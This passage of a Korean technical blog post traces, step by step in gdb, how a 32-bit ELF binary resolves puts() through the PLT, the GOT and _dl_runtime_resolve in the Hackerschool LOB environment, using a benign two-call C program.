			JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 주소 구하기
				재배치 타입 검사 및 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 esp+0x1c 주소에 저장
			GOT 주소를 ebp로 옮기고, 조건 분기
			esp+0xc 주소에 저장해뒀던 STRTAB의 주소와 ebx 레지스터에 있던 0x80481dc 주소에 있는 puts 문자열 offset 값을 더해 STRTAB에서 실제 puts 문자열의 주소 구하기
			esp+0x1c 주소를 ecx 레지스터로 옮기기

_dl_lookup_symbol_x 함수 호출 전 스택에 값 넣고 _dl_lookup_symbol_x 함수 호출
	_dl_lookup_symbol_x 함수 디스어셈블
_dl_lookup_symbol_x 함수를 끝내고 fixup 함수로 복귀
	_dl_lookup_symbol_x 함수의 반환값 확인
	esp+0x1c 주소에 구해둔 SYMTAB의 주소를 ebx 레지스터에 저장
	libc 주소를 담고 있는 주소에서 libc 주소를 가져와 eax 레지스터에 저장
	ebx 레지스터의 값을 이용해 라이브러리에서 puts 함수의 offset 값을 가져와 라이브러리 주소와 더하여 puts 함수의 실제 주소를 구해 eax 레지스터에 넣기
두 번째 puts 함수 호출 부분&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;해커스쿨 LOB 환경에서 puts() 함수를 두 번 호출하는 프로그램을 만들어 gdb로 실습&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1711358751843&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi plt_got.c&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1711358760684&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(void)
{
        puts(&quot;hello&quot;);
        puts(&quot;world&quot;);

        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1711358778268&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -o plt_got plt_got.c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnBlTb/btsF1Umc1ep/5hI40L5Ea7kfQFnK1KcQ20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnBlTb/btsF1Umc1ep/5hI40L5Ea7kfQFnK1KcQ20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnBlTb/btsF1Umc1ep/5hI40L5Ea7kfQFnK1KcQ20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnBlTb%2FbtsF1Umc1ep%2F5hI40L5Ea7kfQFnK1KcQ20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;184&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;445&quot; data-origin-height=&quot;56&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AYHKX/btsF4UyhqBy/55MpjHqfQBY5NGSEGIK3r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AYHKX/btsF4UyhqBy/55MpjHqfQBY5NGSEGIK3r0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AYHKX/btsF4UyhqBy/55MpjHqfQBY5NGSEGIK3r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAYHKX%2FbtsF4UyhqBy%2F55MpjHqfQBY5NGSEGIK3r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;56&quot; data-origin-width=&quot;445&quot; data-origin-height=&quot;56&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ea7YPI/btsF5UEyej6/rvWVicuozQMUDu5h1KY54K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ea7YPI/btsF5UEyej6/rvWVicuozQMUDu5h1KY54K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ea7YPI/btsF5UEyej6/rvWVicuozQMUDu5h1KY54K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fea7YPI%2FbtsF5UEyej6%2FrvWVicuozQMUDu5h1KY54K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;36&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 위와 같이 plt_got.c 파일에 puts() 함수를 두 번 호출하는 코드를 적고, gcc을 이용해 컴파일하면 기본적으로 동적 라이브러리 방식으로 컴파일이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;383&quot; data-origin-height=&quot;37&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l8zkn/btsF3XhHmdj/ot4ac63Ywucb1oZg7pGm30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l8zkn/btsF3XhHmdj/ot4ac63Ywucb1oZg7pGm30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l8zkn/btsF3XhHmdj/ot4ac63Ywucb1oZg7pGm30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl8zkn%2FbtsF3XhHmdj%2Fot4ac63Ywucb1oZg7pGm30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;383&quot; height=&quot;37&quot; data-origin-width=&quot;383&quot; data-origin-height=&quot;37&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711359132770&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gdb -q ./plt_got

set disassembly-flavor intel&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;gdb로 컴파일 한 바이너리 plt_got를 연다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;어셈블리어 문법은 intel 문법을 사용하도록 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mVCG5/btsF2x5eZtR/wda02Ale1JP3W8j8rbgEX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mVCG5/btsF2x5eZtR/wda02Ale1JP3W8j8rbgEX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mVCG5/btsF2x5eZtR/wda02Ale1JP3W8j8rbgEX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmVCG5%2FbtsF2x5eZtR%2Fwda02Ale1JP3W8j8rbgEX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;252&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711359274355&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;disas main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main() 함수를 디스어셈블 해보면 위와 같은데, puts() 함수를 두 번 호출하는 것 이외에는 별 다른 게 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;209&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUgu6s/btsF1Rwd4Ya/FpJeCMJ6KvoyjU4ylnTHT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUgu6s/btsF1Rwd4Ya/FpJeCMJ6KvoyjU4ylnTHT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUgu6s/btsF1Rwd4Ya/FpJeCMJ6KvoyjU4ylnTHT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUgu6s%2FbtsF1Rwd4Ya%2FFpJeCMJ6KvoyjU4ylnTHT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;209&quot; height=&quot;73&quot; data-origin-width=&quot;209&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711359349986&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;b * 0x80483d8

b * 0x80483e5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;puts() 함수를 호출하는 두 곳에 BP를 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;puts() 함수를 호출하는 두 곳에 BP를 설정하는 이유는&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;첫 번째 puts() 함수를 호출하는 부분에서는 최초로 puts() 함수를 호출하는 것이므로 puts() 함수의 GOT에 puts() 함수의 실제 주소가 들어가 있지 않을 것이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;두 번째 puts() 함수를 호출하는 부분에서는 puts() 함수의 GOT에 puts() 함수의 실제 주소가 들어가 있을 것인데, 이를 확인해보기 위함이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;390&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHvrLK/btsF6Hx5rlG/8MHJ7BklNPGjOZbdUF6vk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHvrLK/btsF6Hx5rlG/8MHJ7BklNPGjOZbdUF6vk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHvrLK/btsF6Hx5rlG/8MHJ7BklNPGjOZbdUF6vk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHvrLK%2FbtsF6Hx5rlG%2F8MHJ7BklNPGjOZbdUF6vk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;108&quot; data-origin-width=&quot;390&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711359584477&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;r

x/i $eip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt_got 프로그램을 실행시키고, 현재 EIP가 가리키는 주소의 명령을 보면 puts() 함수를 호출하는 첫 번째 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHg1DB/btsF40L2hJv/2O3DrKqyYKRfX7JClaXXGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHg1DB/btsF40L2hJv/2O3DrKqyYKRfX7JClaXXGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHg1DB/btsF40L2hJv/2O3DrKqyYKRfX7JClaXXGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHg1DB%2FbtsF40L2hJv%2F2O3DrKqyYKRfX7JClaXXGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;72&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;puts() 함수를 호출하기 위해 콜하는 주소 0x80482e8을 보면 위와 같이 plt 부분이 나오고, 0x80482e8 주소부터 3개의 명령을 출력해보면 위와 같이 명령어들이 보이는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt에서는 got를 참조하기 때문에 0x80482e8 주소에서 점프하는 주소 0x804948c는 puts() 함수의 실제 주소가 들어있는 GOT 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(왜 3개의 명령을 출력했는지는 이후에 자연스럽게 이해가 될 것이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;GOT&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crdj3u/btsF2FPEFMU/lwALlsWqUwgsfQ4wF4fIWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crdj3u/btsF2FPEFMU/lwALlsWqUwgsfQ4wF4fIWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crdj3u/btsF2FPEFMU/lwALlsWqUwgsfQ4wF4fIWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcrdj3u%2FbtsF2FPEFMU%2FlwALlsWqUwgsfQ4wF4fIWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;36&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x804948c 주소를 보면 정말 puts() 함수의 실제 주소가 저장될 puts() 함수의 GOT이고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;아직 puts() 함수를 최초로 호출하는 단계에서 runtime resolve 과정을 거치지 않았기 때문에 puts() 함수의 GOT에는 puts() 함수의 실제 주소가 아닌 이전에 PLT 부분에서 봤던 PLT+6의 주소인 0x80482ee가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기까지 정리해보면, &lt;b&gt;puts() 함수를 최초로 호출 -&amp;gt; plt를 참조 -&amp;gt; plt+0에서는 got를 참조 -&amp;gt; puts 함수에 해당하는 got를 가보니 다시 plt+6 부분으로 점프&lt;/b&gt;하도록 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;즉, &lt;b&gt;함수를 최초로 호출했을 때는 plt+6에 있는 명령을 수행&lt;/b&gt;하게 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;37&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9RZsB/btsF3dZyHMt/yY7IyQGH0dKKF1oDxkHjmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9RZsB/btsF3dZyHMt/yY7IyQGH0dKKF1oDxkHjmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9RZsB/btsF3dZyHMt/yY7IyQGH0dKKF1oDxkHjmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9RZsB%2FbtsF3dZyHMt%2FyY7IyQGH0dKKF1oDxkHjmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;37&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;37&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt+6에서는 0x8을 넣고, plt+11에서 0x80482c8 주소로 점프한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서부터 동적 링킹(Dynamic Linking) 과정이 시작되는데, 0x8은 reloc_offset이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(reloc_offset 값은 이후에 puts 문자열의 주소를 찾을 때 사용되므로 기억해둔다.)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;163&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDGskK/btsF5DiMaag/gRJML1LOKxOH3E73piCpu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDGskK/btsF5DiMaag/gRJML1LOKxOH3E73piCpu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDGskK/btsF5DiMaag/gRJML1LOKxOH3E73piCpu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDGskK%2FbtsF5DiMaag%2FgRJML1LOKxOH3E73piCpu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;163&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;163&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt+11에서 점프하는 주소 0x80482c8를 보면 0x8049480 주소에 있는 값 0x40013ed0을 스택에 넣고, 0x8049484 주소로 점프한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서 스택에 넣는 0x40013ed0은 link_map 구조체 포인터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 점프하는 곳(0x8049484)은 _dl_runtime_resolve 함수이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 71px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;낮은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 17px; text-align: center;&quot;&gt;link_map : 0x40013ed0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;reloc_offset : 0x8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;높은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지금까지의 스택을 보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711361572760&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;link_map 구조체는 ld loader가 참조하는 링크 지도로, 라이브러리의 정보를 담고 있는데
이 구조체를 통해 여러가지 테이블의 주소를 구할 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;_dl_runtime_resolve 함수 디스어셈블&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;269&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsSHhf/btsF5DiMfcZ/qZ6r4WiLMZ5p4LQVugEhr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsSHhf/btsF5DiMfcZ/qZ6r4WiLMZ5p4LQVugEhr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsSHhf/btsF5DiMfcZ/qZ6r4WiLMZ5p4LQVugEhr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsSHhf%2FbtsF5DiMfcZ%2FqZ6r4WiLMZ5p4LQVugEhr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;269&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;269&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_runtime_resolve 함수를 디스어셈블 해보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_runtime_resolve 함수 내부에서 fixup 함수를 호출하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;fixup함수 호출 직전 스택 확인&lt;/b&gt;&lt;/h3&gt;
